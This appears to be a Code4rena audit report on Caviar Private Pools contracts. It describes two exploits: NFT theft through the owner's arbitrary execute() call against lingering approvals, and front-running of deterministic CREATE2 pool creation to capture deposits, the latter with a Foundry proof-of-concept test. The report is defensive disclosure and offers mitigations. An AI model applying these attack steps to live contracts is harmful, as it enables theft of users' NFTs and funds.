Caviar Private Pools - said's results

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L461

Vulnerability details

Impact

To interact with PrivatePool sell() function, seller need to give approval of the NFTs to the PrivatePool, usually the prefered method by the users is to give the approval via ERC721's setApprovalForAll() to the PrivatePool.

PrivatePool owner can check this approvals, and then steal NFTS by calling execute() and set nft address as the target call with data of ERC721 transferFrom() / safeTransferFrom() operation to transfer alice nfts to his address.

Proof of Concept

Bob create PrivatePool and provide the necessary reserves.

Alice have 5 NFTs, want to sell 3 of her NFTs to Bob's PrivatePool.

She call setApprovalForAll() with PrivatePool address.

then execute the sell() and sell 3 NFTs normally.

Bob see that the approval is not revoked.

Bob call execute() to steal the rest of Alice NFTs with target equal to the nft address, and data with the transferFrom()/ safeTransferFrom() operation to transfer alice nfts to his address.

    function execute(address target, bytes memory data) public payable onlyOwner returns (bytes memory) {
        // call the target with the value and data
        (bool success, bytes memory returnData) = target.call{value: msg.value}(data);

        // if the call succeeded return the return data
        if (success) return returnData;

        // if we got an error bubble up the error message
        if (returnData.length > 0) {
            // solhint-disable-next-line no-inline-assembly
            assembly {
                let returnData_size := mload(returnData)
                revert(add(32, returnData), returnData_size)
            }
        } else {
            revert();
        }
    }

Tools Used

Manual review

Recommended Mitigation Steps

PrivatePool owner should restricted to only manage the NFTs inside the PrivatePool, consider remove the execute() arbitrary call.

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/main/src/Factory.sol#L92

Vulnerability details

Impact

Factory contract create() will create PrivatePool by deterministic address, only consider _salt input as variable to change the address output.

If user deploy the PrivatePool contract using this method, then later deposit to this contract in different transaction. Attacker can listen to this and front run the contract creation using the same _salt, and the attacker PrivatePool will receive the deposit.

Proof of Concept

Alice want to create private pool via Factory and provide _salt, then in different transaction send deposit reserves to this calculated address.

Bob listen to this transaction and know that it only require _salt to get the same calculated address :

https://github.com/code-423n4/2023-04-caviar/blob/main/src/Factory.sol#L92

privatePool = PrivatePool(payable(privatePoolImplementation.cloneDeterministic(_salt)));

calculated address inside the used library. Since value other than _salt is the same, to differentiate the computed address depend only on _salt :

https://github.com/Vectorized/solady/blob/main/src/utils/LibClone.sol#L113-L133

    function cloneDeterministic(address implementation, bytes32 salt)
        internal
        returns (address instance)
    {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x21, 0x5af43d3d93803e602a57fd5bf3)
            mstore(0x14, implementation)
            mstore(0x00, 0x602c3d8160093d39f33d3d3d3d363d3d37363d73)
            instance := create2(0, 0x0c, 0x35, salt)
            // Restore the part of the free memory pointer that has been overwritten.
            mstore(0x21, 0)
            // If `instance` is zero, revert.
            if iszero(instance) {
                // Store the function selector of `DeploymentFailed()`.
                mstore(0x00, 0x30116425)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }
        }
    }

Bob front-run the contract creation transaction, then his private pool will receive the deposit reserves.

PoC Code :

  function test_AttackFrontRunFactory() public {
        // arrange
        baseTokenAmount = 3.156e18;

        
        deal(address(shibaInu), address(this), baseTokenAmount);


        tokenIds.push(1);
        tokenIds.push(2);
        tokenIds.push(3);

        // act, bob see alice transaction and front run contract creation
        vm.startPrank(bob);
        uint256[] memory tokenIdsFake;
        PrivatePool privatePool = factory.create(
            address(shibaInu),
            nft,
            0, // virtualBaseTokenReserves
            0, // virtualNftReserves
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false,
            salt,
            tokenIdsFake,
            0 //  baseTokenAmount
        );

        console.log("address created by bob");
        console.log(address(privatePool));

        vm.stopPrank();

        // alice try to create and fail

        // // act
        vm.expectRevert();
        PrivatePool privatePool2 = factory.create(
            address(shibaInu),
            nft,
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false,
            salt,
            tokenIds,
            baseTokenAmount
        );

        console.log("creator of private pool will fail create the contract");

        // transaction of deposit will continue sending the deposit to the pool

        milady.setApprovalForAll(address(privatePool), true);
        shibaInu.approve(address(privatePool), baseTokenAmount);

        privatePool.deposit(tokenIds, baseTokenAmount);

        console.log("transfered to bob pool");

    }

Add the test inside the Create.t.sol test contract and run it.

Tools Used

Manual review

Recommended Mitigation Steps

_salt should incorporate msg.sender and introduce nonce state as it's part to avoid front-run.